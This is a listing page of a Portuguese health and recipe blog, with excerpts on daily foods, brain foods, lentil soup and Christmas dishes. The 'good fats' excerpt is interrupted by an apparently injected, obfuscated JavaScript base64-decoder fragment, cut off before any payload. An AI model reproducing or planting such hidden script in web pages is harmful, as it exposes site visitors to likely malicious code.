Jun 25, 2019 | Dicas úteis, Equilíbrio, Saúde e bem estar
Alimentos que devemos consumir todos os dias Como bem sabe, gosto de lhe dar diariamente conselhos sobre alimentação. Acredito profundamente que somos o que comemos e que devemos ter uma alimentação equilibrada e muito variada, comendo um pouco de tudo. Assim...
Mai 15, 2019 | Equilíbrio, Saúde e bem estar
Gorduras boas que devemos incluir na dieta Qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Mai 6, 2019 | À descoberta, Saúde e bem estar
Os melhores alimentos para o cérebro O cérebro controla muitas funções do nosso corpo através do sistema nervoso. Assim, é indispensável cuidar dele e dar-lhe sempre a devida importância. Uma dieta equilibrada e uma vida saudável são dois trunfos para manter um...
Mar 20, 2019 | À descoberta, Receitas
Sopa de lentilhas, saudável e muito saborosa Todas as épocas são boas para comer uma boa sopa. Sabem maravilhosamente no inverno, porque confortam o corpo e a alma, mas também sabem lindamente no tempo mais quente, já que são um prato leve mas muito nutritivo, ou...
Dez 25, 2017 | À descoberta, Receitas
Receita de peru de Natal recheado com bacon e castanhas Hoje trago-lhe uma receita fabulosa para servir nos dias entre o Natal e o ano novo. Se ainda não sabe como cozinhar o seu peru de natal, experimente esta receita de peru recheado com bacon e castanhas. É...
Dez 24, 2017 | À descoberta, Receitas
Sugestão de jantar de consoada – Bacalhau com broa Hoje trago-lhe mais um prato delicioso que pode servir na sua noite de Natal. É mais uma sugestão de jantar de consoada: bacalhau com broa. Esta é uma receita irresistível e realmente tão deliciosa que até...
Dez 23, 2017 | À descoberta, Receitas
Opção para a noite da consoada – Receita de polvo à lagareiro Ultimamente tenho dado várias receitas de Natal para adoçar a sua ceia, mas desta vez trago-lhe uma opção de jantar para a noite da consoada: receita de polvo à lagareiro. É muito simples de fazer....
Dez 22, 2017 | À descoberta, Receitas
Receita de bacalhau à lagareiro para a consoada Este ano já lhe dei a receita de muitos doces para a mesa de Natal, desde as tradicionais rabanadas às filhós de cenoura e à aletria. Hoje chegou a altura de lhe dar novas receitas. Assim, se não dispensa um bom...
